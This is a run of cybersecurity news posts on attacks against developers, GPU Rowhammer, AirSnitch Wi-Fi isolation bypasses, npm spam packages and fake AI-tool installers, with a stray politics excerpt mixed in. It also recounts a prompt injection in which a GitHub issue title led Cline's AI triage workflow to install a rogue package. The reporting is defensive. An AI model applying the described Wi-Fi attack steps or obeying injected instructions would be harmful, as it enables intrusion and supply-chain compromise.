Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

• Make security a native part of your workflow. Use specialized solutions to vet your images, packages, dependencies, and components.
• Use threat intelligence feeds specifically focused on open-source components to check the packages used in software development.
• Make sure security awareness training covers everyone — including developers. Leverage specialized solutions like Kaspersky Automated Security Awareness Platform.
• Make sure developers are aware of the latest attack patterns — you can keep them in the loop by following the Development tag right here on this

It’s one of those coincidences: independent university research teams stumble onto something new and prep their papers for publication — only to realize they’ve solved the exact same puzzle using slightly different methods. That’s exactly what happened with GDDRHammer and GeForge. These two studies describe Rowhammer-style attacks that are so similar the researchers decided to publish them as a joint effort. Then, while we were putting this post together, a third study surfaced — GPUBreach — detailing yet another comparable attack. So today we’re looking at all three.

All three theoretical attacks target graphics accelerators, though this term is not entirely accurate anymore since these devices are so good at parallel processing, they’ve moved far beyond just rendering frames in a game and are now the backbone of AI systems. It’s this industrial use case that is most at risk. Picture a cloud provider renting out GPU resources to all comers. These new attacks demonstrate how, in theory, a single malicious customer could go beyond seizing control of an accelerator to compromise the entire server, access sensitive data, and potentially hack the provider’s entire infrastructure. Let’s break down why this kind of attack is even possible.

Rowhammer in a nutshell

We covered Rowhammer in-depth in previous posts, but here’s the quick version. The original attack was first proposed back in 2014, and it exploits the actual physical properties of RAM chips. Individual memory cells are simple components arranged in tight rows. In theory, reading or writing to one cell shouldn’t affect its neighbors. However, because these chips are packed so densely — with millions or even billions of cells per chip — writing to one spot can sometimes modify the cells next to it.

The 2014 study showed that this isn’t just a recipe for random data corruption; it can be weaponized. By repeatedly accessing (or “hammering”, hence the name) a specific area of memory, an attacker can intentionally flip bits in adjacent cells. If an attacker manages to flip the right bits, he can bypass critical security measures to snag sensitive data or run unauthorized code with full privileges.

Since that first discovery, we’ve seen a constant arms race between new Rowhammer defenses and clever ways to bypass them. We’ve also seen the attack evolve to target newer standards like DDR4 and DDR5. That’s a key takeaway here: for every new type of memory that hits the market, researchers essentially have to reinvent the attack from scratch.

Attacking GDDR6 video memory

The first Rowhammer attack on GPUs was presented back in 2025, but the results were relatively modest. At the time, researchers were able to force bit-flips in GDDR6 memory cells, and show how that data corruption could degrade the performance of an AI system.

These latest papers, however, warn of much more damaging attacks on video memory. Using slightly different techniques, GDDRHammer and GeForge manipulate the page tables — basically the master structures that track where data lives in the GPU’s memory. This enables an attacker to read or write to any part of the video memory, and even reach into the main system RAM managed by the CPU. Modifications to page tables are possible because the researchers have found a way to hammer memory cells much more efficiently. They pulled this off despite the hardware using Target Row Refresh, a core defense designed specifically to stop Rowhammer. TRR detects repeated access to specific cells, and forces a data refresh in the neighboring rows to hamper the attack. However, the researchers discovered a specific pattern of access that can bypass TRR.

How realistic are these GPU attacks?

As is usually the case with this type of research, pulling off these attacks in the real world comes with a lot of contingencies. First off, different GPUs behave differently. For instance, the GeForge attack was significantly more effective on the consumer-grade GeForce RTX 3060. On the industrial-strength Nvidia RTX A6000, the attack’s efficiency dropped by more than five times — even though both cards use the exact same GDDR6 memory standard. Going back to our hypothetical scenario of a malicious cloud customer: for an attack to work, they’d first need to identify exactly which accelerator they’ve been assigned, then profile their exploit specifically for that hardware. In short, this would have to be an incredibly sophisticated and expensive targeted attack.

It’s also worth noting that GDDR6 isn’t the latest and greatest anymore. Consumer devices are moving to GDDR7, while professional-grade hardware often uses high-speed HBM memory. These systems come with ECC (Error Correction Code), a built-in mechanism that checks data integrity. ECC can actually be enabled on cards like the Nvidia A6000; while it might take a small bite out of performance, it effectively makes both of these attacks impossible.

Another tool available to owners of AI-focused servers is enabling the IOMMU (input–output memory management unit) — a system that isolates the GPU’s memory from the CPU’s memory. This will prevent an attack from escalating from the graphics accelerator to the main processor and compromising the entire server. This is where the third study, GPUBreach, comes into play. Its main differentiator from GDDRHammer and GeForge is that it can actually bypass even IOMMU protection! It pulls this off by exploiting some fairly traditional bugs found in NVIDIA drivers.

So, despite the existing hurdles, these three studies prove that Rowhammer attacks remain a potent threat. This is especially true in our current AI boom, which relies on massive, expensive, and potentially vulnerable infrastructure packed with dozens or even hundreds of thousands of computing devices. The Rowhammer timeline goes to show that technical barriers almost never hold for long. In standard RAM, researchers have managed to bypass not only basic fixes like Target Row Refresh, but also more advanced — and theoretically bulletproof — solutions like ECC memory. While the extreme complexity of these exploits means they’ll likely never become a mass-market threat, for anyone running expensive computing systems, they’re definitely a risk factor that can’t be ignored.

Undisclosed number of names and contact and reservation details accessed in latest cybercrime attempt

The accommodation reservation website Booking.com has suffered a data breach with “unauthorised parties” gaining access to customers’ details.

The platform said it “noticed some suspicious activity involving unauthorised third parties being able to access some of our guests’ booking information”.

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© Photograph: CrocusPhotography/Alamy

© Photograph: CrocusPhotography/Alamy

© Photograph: CrocusPhotography/Alamy

At the NDSS Symposium 2026 in San Diego in February, a group of respected researchers presented a study unveiling the AirSnitch attack, which bypasses the Wi-Fi client isolation feature — also commonly known as guest network or device isolation. This attack allows connecting to a single wireless network via an access point, and then gaining access to other connected devices, including those using entirely different service set identifiers (SSIDs) on that same hardware. Targeted devices could easily be running on wireless subnets protected by WPA2 or WPA3 protocols. The attack doesn’t actually break encryption; instead, it exploits the way access points handle group keys and packet routing.

In practical terms, this means that a guest network provides very little in the way of real security. If your guest and employee networks are running on the same physical device, AirSnitch allows a connected attacker to inject malicious traffic into neighboring SSIDs. In some cases, they can even pull off a full-blown man-in-the-middle (MitM) attack.

Wi-Fi security and the role of isolation

Wi-Fi security is constantly evolving; every time a practical attack is made against the latest generation of protection, the industry shifts toward more complex algorithms and procedures. This cycle started with the FMS attacks used to crack WEP encryption keys, and continues to this day: recent examples include the KRACK attacks on WPA2, and the FragAttacks, which impacted every security protocol version from WEP all the way through WPA3.

Attacking modern Wi-Fi networks effectively (and quietly) is no small feat. Most professionals agree that using WPA2/WPA3 with complex keys and separating networks based on their purpose is usually enough for protection. However, only specialists really know that client isolation was never actually standardized within the IEEE 802.11 protocols. Different manufacturers implement isolation in completely different ways — using Layer 2 or Layer 3 of network architecture; in other words, handling it at either the router or the Wi-Fi controller level — meaning the behavior of isolated subnets varies wildly depending on your specific access point or router model.

While marketing claims that client isolation is perfect for keeping restaurant or hotel guests from attacking one another — or ensuring corporate visitors can’t access anything but the internet — in reality, isolation often relies on people not trying to hack it. This is exactly what the AirSnitch research highlights.

Types of AirSnitch attacks

The name AirSnitch doesn’t just refer to a single vulnerability, but a whole family of architectural flaws found in Wi-Fi access points. It’s also the name of an open-source tool used to test routers for these specific weaknesses. However, security professionals need to keep in mind that there’s only a very thin line between testing and attacking.

The model for all these attacks is the same: a malicious client is connected to an access point (AP) where isolation is active. Other users — the targets — are connected to the same SSID or even different SSIDs on that same AP. This is a very realistic scenario; for example, a guest network might be open and unencrypted, or an attacker could simply get the guest Wi-Fi password by posing as a legitimate visitor.

For certain AirSnitch attacks, the attacker needs to know the victim’s MAC or IP address beforehand.  Ultimately, how effective each attack is depends on the specific hardware manufacturer (more on that below).

GTK attack

After the WPA2/WPA3 handshake, the access point and the clients agree on a Group Transient Key (GTK) to handle broadcast traffic. In this scenario, the attacker wraps packets destined for a specific victim inside a broadcast traffic envelope. They then send these directly to the victim while spoofing the access point’s MAC address. This attack only allows for traffic injection, meaning the attacker won’t receive a response. However, even that is enough to deliver malicious ICMPv6 routing advertisements, or DNS and ARP messages to the client — effectively bypassing isolation. This is the most universal version of the attack working on any WPA2/WPA3 network that uses a shared GTK. That said, some enterprise-grade access points support GTK randomization for each individual client, which renders this specific method ineffective.

Broadcast packet redirection

This version of the attack doesn’t even require the attacker to authenticate at the access point first. The attacker sends packets to the AP with a broadcast destination address (FF:FF:FF:FF:FF:FF) and the ToDS flag set to 1.  As a result, many access points treat this packet as legitimate broadcast traffic; they encrypt it using the GTK, and blast it out to every client on the subnet, including the victim. Just like in the previous method, traffic specifically meant for a single victim can be pre-packaged inside.

Router redirection

This attack exploits an architectural gap between Layer 2 and Layer 3 security found in some manufacturers’ hardware. The attacker sends a packet to the access point, setting the victim’s IP address as the destination at the network layer (L3).  However, at the wireless layer (L2), the destination is set to the access point’s own MAC address, so the isolation filter doesn’t trip. The routing subsystem (L3) then dutifully routes the packet back out to the victim, bypassing the L2 isolation entirely. Like the previous methods, this is another transmit-only attack where the attacker can’t see the reply.

Port stealing to intercept packets

The attacker connects to the network using a spoofed version of the victim’s MAC address, and floods the network with ARP responses claiming, “this MAC address is on my port and SSID”.  The target network’s router updates its MAC tables, and starts sending the victim’s traffic to this new port instead. Consequently, traffic intended for the victim ends up with the attacker — even if the victim is connected to a completely different SSID.

In a scenario where the attacker connects via an open, unencrypted network, this means traffic meant for a client on a WPA2/WPA3-secured network is actually broadcast over the open air, where not only the attacker but anyone nearby can sniff it.

Port stealing to send packets

In this version, the attacker connects directly to the victim’s Wi-Fi adapter, and bombards it with ARP requests spoofing the access point’s MAC address. As a result, the victim’s computer starts sending its outgoing traffic to the attacker instead of the network. By running both stealing attacks simultaneously, an attacker can, in several scenarios, execute a full MitM attack.

Practical consequences of AirSnitch attacks

By combining several of the techniques described above, a hacker can pull off some pretty serious moves:

• Complete bidirectional traffic interception for a MitM attack. This means they can snatch and modify data moving between the victim and the access point without the victim ever knowing.
• Hopping between SSIDs. An attacker sitting on a guest network can reach hosts on a locked-down corporate network if both are running off the same physical access point.
• Attacks on RADIUS. Since many companies use RADIUS authentication for their corporate Wi-Fi, an attacker can spoof the access point’s MAC address to intercept initial RADIUS authentication packets. From there, they can brute-force the shared secret. Once they have that, they can spin up a rogue RADIUS server and access point to hijack data from any device that connects to it.
• Exposing unencrypted data from “secure” subnets: Traffic that’s supposed to be sent to a client under the protection of WPA2/WPA3 can be retransmitted onto an open guest network, where it’s essentially broadcast for anyone to hear.

To pull off these attacks effectively, a hacker needs a device capable of simultaneous data transmission and reception with both the victim’s adapter and the access point. In a real-world scenario, this usually means a laptop with two Wi-Fi adapters running specifically configured Linux drivers. It’s worth noting that the attack isn’t exactly silent: it requires a flood of ARP packets, it can cause brief Wi-Fi glitches when it starts, and network speeds might tank to around 10Mbps. Despite these red flags, it’s still very much a practical threat in many environments.

Vulnerable devices

As part of the study, several enterprise and home access points and routers were put to the test. The list included products from Cisco, Netgear, Ubiquiti, Tenda, D-Link, TP-Link, LANCOM, and ASUS, as well as routers running popular community firmware like DD-WRT and OpenWrt. Every single device tested was vulnerable to at least some of the attacks described here. Even more concerning, the D-Link DIR-3040 and LANCOM LX-6500 were susceptible to every single variation of AirSnitch.

Interestingly, some routers were equipped with protective mechanisms that blocked the attacks, even though the underlying architectural flaws were still present. For example, the Tenda RX2 Pro automatically disconnects any client whose MAC address appears on two BSSIDs simultaneously, which effectively shuts down port stealing.

The researchers emphasize that any network administrator or IT security team serious about defense should test their own specific configurations. That’s the only way to pinpoint exactly which threats are relevant to your organization’s setup.

How to protect your corporate network from AirSnitch

The threat is most immediate for organizations running guest and corporate Wi-Fi networks on the same access points without additional VLAN segmentation. There are also significant risks for companies using RADIUS with outdated settings or weak shared secrets for wireless authentication.

The bottom line is that we need to stop viewing client isolation on an access point as a real security measure, and start seeing it as just a convenience feature. Real security needs to be handled differently:

• Segment the network using VLANs. Each SSID should have its own VLAN, with strict 802.1Q packet tagging maintained all the way from the access point to the firewall or router.
• Implement stricter packet inspection at the routing level — depending on the hardware capabilities. Features like Dynamic ARP Inspection, DHCP snooping, and limiting the number of MAC addresses per port help defend against IP/MAC spoofing.
• Enable individual GTK keys for each client, if your equipment supports it.
• Use more resilient RADIUS and 802.1X settings, including modern cipher suites and robust shared secrets.
• Log and analyze EAP/RADIUS authentication anomalies in your SIEM. This helps track many attack attempts beyond just AirSnitch. Other red flag events to watch for include the same MAC address appearing on different SSIDs, spikes in ARP requests, or clients rapidly jumping between BSSIDs or VLANs.
• Apply security at higher levels of the network topology. Many of these attacks lose their punch if the organization has universally implemented TLS and HSTS for all business application traffic, requires an active VPN for all Wi-Fi connections, or has fully embraced a Zero Trust architecture.

Companies work systematically to reduce their attack surface. They segment networks, manage vulnerabilities, roll out EDR/XDR, and try to automate their response efforts. As paradoxical as it may seem, they often overlook one massive piece of the puzzle: the security of the very tools managing that entire defense system.

This can occur due to a mental blind spot. It’s easy to assume that, because an organization installed all security solutions needed, it’s safe. In reality, any added software (even security tools) actually expands attack surface. This means those tools need protection, too — starting with hardening them through the right settings.

Why a breached security console is a nightmare scenario

Security tools are only as strong as the system running them. If an attacker manages to break into an organization’s infrastructure and seize control of the security management console, they basically have full rein there. It’s the ultimate skeleton key — giving them direct access to centralized policy management, endpoint monitoring, API integrations, and everything in between.

In this scenario, the attacker doesn’t need to waste time finding clever ways to bypass defenses — all they need do is modify the configuration. With console access, a hacker can skip the hard parts of a breach:

• They don’t have to scout the network; the console gives them a bird’s-eye view of the entire infrastructure and security architecture instantly.
• No need to hide their malicious activity — they can simply tweak security policies, kill specific tools, or silence some alerts.
• Instead of inventing ways to spread the payload to endpoints discreetly, they can leverage the console’s built-in tools for mass software and update installation.

This is exactly why control layer compromise is so dangerous. A proactive cybersecurity mindset isn’t about how many tools are implemented; it’s about how resilient corporate security architecture actually is. If the control layer is the weak link, no amount of hi-tech software can mitigate that risk.

How to protect the security console

On paper, most security management systems already have all the mechanisms needed to beef up protection. The problem? These hardening measures — even basic stuff like two-factor authentication — are often available but not mandatory. Security recommendations get published, but they don’t always get implemented in a consistent manner. Sometimes, they’re just flat-out ignored. Even worse, critical security settings that are turned on by default can often be disabled with a single click —propagating that change to every user instantly. And let’s be honest: people often disable these features in the name of convenience.

In the real world, this means that corporate security ends up relying on an admin’s personal discipline. But discipline can’t serve as an architectural defense mechanism.

The modern approach to protecting the control layer is shifting toward a secure-by-default model. In this setup, critical protections are baked into the base configuration, and the ability to turn them off globally is restricted. Essentially, security stops being an optional feature.

It’s all about removing the guesswork from the security of defensive tools, and shrinking the attack surface at the management level.

How we implement this approach in Kaspersky Security Center Linux

Our products are consistently moving toward a model where critical security mechanisms are part of the base architecture rather than an optional feature. We recently released a new version (16.1) of Kaspersky Security Center Linux, where this architectural shift is built into its core principles — primarily by tightening console access control. Now, two-factor authentication is enabled by default, and the ability to disable it globally has been removed. Before upgrading, administrators must ensure 2FA is enabled for all users, including those working through the Web Console or using OpenAPI automation.

This establishes fundamental protection for privileged access at the console level. It reduces the risk of compromised administrative accounts, protects automation channels, lowers the likelihood of API abuse, and eliminates the vulnerabilities that come from making security optional. In this way, the potential attack surface is reduced specifically at the management control layer.

However, as mentioned before, the problem with most consoles and management systems isn’t a lack of security features, but a lack of systematic control over how they’re used. For example, we often see administrators with excessive privileges or insecure administration server connection settings. We’ve already provided a hardening guide for Kaspersky Security Center that covers these issues in detail, but unfortunately not everyone takes the time to read through deep technical manuals.

That’s why, to make sure no one misses the key points, we’ve put together a structured checklist for hardening Kaspersky Security Center Linux, ver. 16.1. This checklist:

• Allows to verify that authentication and access privileges are configured correctly
• Helps identify roles and users with excessive privileges
• Provides guidance on restricting network access to the console
• Emphasizes the protection of APIs
• Strengthens encryption requirements
• Ensures that auditing and logging are set up properly
• Reduces the risk of configuration gaps

Essentially, this is a tool for a systematic audit of the control layer. It ensures the console doesn’t become an entry point or a tool for attackers to move laterally through infrastructure. The fewer critical settings are left at the user’s discretion — the lower the risk of error or compromise.

Enhanced authentication and structured hardening of the administration console aren’t just minor tweaks; they represent a more thorough approach to security management. We plan to continue developing this protection layer — reducing the attack surface not just at the endpoint level, but within the management system itself. You can learn more about Kaspersky Security Center on the console page, and the hardening checklist is available on our technical support site.

Letter from group published by MPs blames 12 March glitch on software update to its mobile banking apps

Lloyds Banking Group exposed the personal data of nearly 500,000 customers in an IT glitch that left people’s payments, account details and national insurance numbers visible to other users, a committee of MPs has revealed.

A letter from Lloyds, published by MPs on the Treasury select committee on Friday, blamed the glitch on a software defect introduced during an IT update to its Lloyds, Halifax and Bank of Scotland mobile banking apps overnight into 12 March.

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© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

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• Hundreds of petrol stations across Australia run out of fuel as Albanese inks supply deal with Singapore

• SA premier warns One Nation poses threat to federal Labor as Marles says party only ‘about stunts and the vibe’

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The pollies have been asked this morning whether people should consider working from home to save fuel, as conflict escalates in the Middle East.

Tehran has said it will “irreversibly destroy” essential infrastructure across the Middle East, including vital water systems, if the US follows through on Donald Trump’s threat to “obliterate” Iran’s power plants unless the strait of Hormuz is fully opened within two days.

This is like Covid style restrictions I think that are potentially being floated. I would not support that in any way, and I don’t think businesses would do so either …

If people can work from home and they want to and it works for their employers, fine, I think that’s terrific, but it doesn’t help small businesses. It certainly doesn’t help the truckers and the fishers and the farmers and the manufacturers and the miners that are relying on fuel supply.

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© Photograph: Mick Tsikas/AAP

© Photograph: Mick Tsikas/AAP

© Photograph: Mick Tsikas/AAP

What do the words bakso, sate, and rendang bring to mind? For many, the answer is “nothing”; foodies will recognize them as Indonesian staples; while those who follow cybersecurity news will remember an attack on the Node Package Manager (npm) ecosystem — the tool that lets developers use prebuilt libraries instead of writing every line of code from scratch.

In mid-November, security researcher Paul McCarty reported the discovery of a spam campaign aimed at cluttering the npm registry. Of course, meaningless packages have appeared in the registry before, but in this case, tens of thousands of modules were found with no useful function. Their sole purpose was to inject completely unnecessary dependencies into projects.

The package names featured randomly inserted Indonesian dish names and culinary terms such as bakso, sate, and rendang, which is how the campaign earned the moniker “IndonesianFoods”. The scale was impressive: at the time of discovery, approximately 86 000 packages had been identified.

Below, we dive into how this happened, and what the attackers were actually after.

Inside IndonesianFoods

At first glance, the IndonesianFoods packages didn’t look like obvious junk. They featured standard structures, valid configuration files, and even well-formatted documentation. According to researchers at Endor Labs, this camouflage allowed the packages to persist in the npm registry for nearly two years.

It’s not as if the attackers were aggressively trying to insert their creations into external projects. Instead, they simply flooded the ecosystem with legitimate-looking code, waiting for someone to make a typo or accidentally pick their library from search results. It’s a bit unclear exactly what you’d have to be searching for to mistake a package name for an Indonesian dish, but the original research notes that at least 11 projects somehow managed to include these packages in their builds.

A small portion of these junk packages had a self-replication mechanism baked in: once installed, they would create and publish new packages to the npm registry every seven seconds. These new modules featured random names (also related to Indonesian cuisine) and version numbers — all published, as you’d expect, using the victim’s credentials.

Other malicious packages integrated with the TEA blockchain platform. The TEA project was designed to reward open-source creators with tokens in proportion to the popularity and usage of their code — theoretically operating on a “Proof of Contribution” model.

A significant portion of these packages contained no actual functionality at all, yet they often carried a dozen dependencies — which, as you might guess, pointed to other spam projects within the same campaign. Thus, if a victim mistakenly includes one of these malicious packages, it pulls in several others, some of which have their own dependencies. The result is a final project cluttered with a massive amount of redundant code.

What’s in it for the attackers?

There are two primary theories. The most obvious is that this entire elaborate spam campaign was designed to exploit the aforementioned TEA protocol. Essentially, without making any useful contribution to the open-source community, the attackers earn TEA tokens — which are standard digital assets that can be swapped for other cryptocurrencies on exchanges. By using a web of dependencies and self-replication mechanisms, the attackers pose as legitimate open-source developers to artificially inflate the significance and usage metrics of their packages. In the README files of certain packages, the attackers even boast about their earnings.

However, there’s a more chilling theory. For instance, researcher Garrett Calpouzos suggests that what we’re seeing is merely a proof of concept. The IndonesianFoods campaign could be road-testing a new malware delivery method intended to be sold later to other threat actors.

Why you don’t want junk in your projects

At first glance, the danger to software development organizations might not be obvious: sure, IndonesianFoods clutters the ecosystem, but it doesn’t seem to carry an immediate threat like ransomware or data breaches.  However, redundant dependencies bloat code and waste developers’ system resources. Furthermore, junk packages published under your organization’s name can take a serious toll on your reputation within the developer community.

We also can’t dismiss Calpouzos’s theory. If those spam packages pulled into your software receive an update that introduces truly malicious functionality, they could become a threat not just to your organization, but to your users as well — evolving into a full-blown supply chain attack.

How to safeguard your organization

Spam packages don’t just wander into a project on their own; installing them requires a lapse in judgment from a developer. Therefore, we recommend regularly raising awareness among employees — even the tech-savvy ones — about modern cyberthreats. Our interactive training platform, KASAP (Kaspersky Automated Security Awareness Platform), can help with that.

Additionally, you can prevent infection by using a specialized solution for protecting containerized environments. It scans images and third-party dependencies, integrates into the build process, and monitors containers during runtime.

We recently discussed how malicious actors are spreading the AMOS infostealer for macOS via Google Ads, leveraging a chat with an AI assistant on the actual OpenAI website to host malicious instructions. We decided to dig a little deeper, only to discover several similar malicious campaigns where attackers attempt to slip users malware disguised as popular AI tools through Google Search ads. If the victims are searching for macOS-specific tools, the payload deployed is the very same AMOS; if they’re on Windows, it’s the Amatera infostealer instead. These campaigns use the popular Chinese AI Doubao, the viral AI assistant OpenClaw, or the coding assistant Claude Code as bait. This means such campaigns pose a threat not only to home users but also to organizations.

The reality is that corporate employees are increasingly using coding assistants like Claude Code, and workflow automation agents like OpenClaw. This brings its own set of risks, which is why many organizations have yet to officially approve (or pay for) access to such tools. Consequently, some employees take matters into their own hands to find these trendy tools, and head straight to Google. They type in a search query and are served a sponsored link leading to a malicious installation guide. Let’s take a closer look at how this attack plays out, using a Claude Code distribution campaign discovered in early March as an example.

The search query

So, a user starts looking for a place to download the Anthropic agent and types something like “Claude Code download” into the search bar. The search engine returns a list of links, with “sponsored links” (paid advertisements) sitting at the top. One of these ads leads the user to a malicious page featuring fake documentation. Interestingly, the site itself is built on Squarespace, a legitimate website builder that helps it bypass anti-phishing filters.

The attackers’ site meticulously mimics the original Claude Code documentation, complete with installation instructions. Just like the real deal, it prompts the user to copy and run a command. However, once executed, it installs not an AI agent but malware. Essentially, this is just another flavor of the ClickFix attack — one that has earned its own nickname: InstallFix.

Malicious payload

Just like with the original Claude Code, the command for macOS attempts to install an application using the curl command-line utility. In reality, it deploys the AMOS spyware — previously described by our experts on Securelist — which was used in a similar past campaign.

In the case of Windows, the malware is installed using the system utility mshta.exe, which executes HTML-based applications instead of curl, which is used for the genuine Claude Code. This utility deploys the Amatera infostealer, which harvests browser data, crypto-wallet info, as well as information from the user folder, and sends it to a remote server at 144{.}124.235.102.

How to keep your company safe

Interest in AI agents continues to grow, and the emergence of new tools and their rising popularity are creating fresh attack vectors. Specifically, attempting to seek out third-party AI tools can not only jeopardize the source code of projects on the victim’s computer but also lead to the compromise of secrets, confidential corporate files, and user accounts.

To prevent this from happening, the first step should be educating employees about these dangers and the tricks used by threat actors. This can be done using our training platform: Kaspersky Automated Security Awareness. Incidentally, it includes a specialized lesson on the use of AI in corporate environments.

Additionally, we recommend protecting all corporate devices with proven cybersecurity solutions.

We also suggest checking out our previously published article on three approaches to minimizing the risks of using shadow AI.

AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.

The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.

If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.

Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.

“The testimonials are remarkable,” the AI security firm Snyk observed. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”

You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.

“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”

There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.

Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.

With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.

“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”

O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.

WHEN AI INSTALLS AI

One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.

A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.

According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.

“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.

“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”

VIBE CODING

